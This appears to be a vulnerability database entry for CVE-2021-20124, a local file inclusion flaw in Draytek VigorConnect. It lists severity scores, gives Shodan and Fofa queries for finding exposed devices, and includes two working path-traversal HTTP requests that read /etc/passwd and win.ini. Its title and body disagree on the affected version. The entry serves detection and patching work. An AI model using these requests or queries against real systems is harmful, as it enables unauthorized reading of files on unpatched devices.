| Title | Draytek VigorConnect 6.0-B3 - Local File Inclusion |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, potential data leakage, and further compromise of the affected system. |
| Remediation | Apply the latest security patches or updates provided by Draytek to fix the LFI vulnerability in VigorConnect 6.0-B3. |
| CVSS Score | 7.5 |
| EPSS Score | 0.94059 |
| CVE ID | CVE-2021-20124 |
| CWE ID | CWE-22 |
| Shodan Query | http.html:"VigorConnect"http.html:"vigorconnect" |
| Fofa Query | body="vigorconnect" |
| Tags | cve2021 cve draytek lfi vigorconnect tenable kev vkev vuln |
Draytek VigorConnect 1.6.0-B3 is susceptible to local file inclusion in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
GET /ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-20124.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-20124.pcap
N/AN/A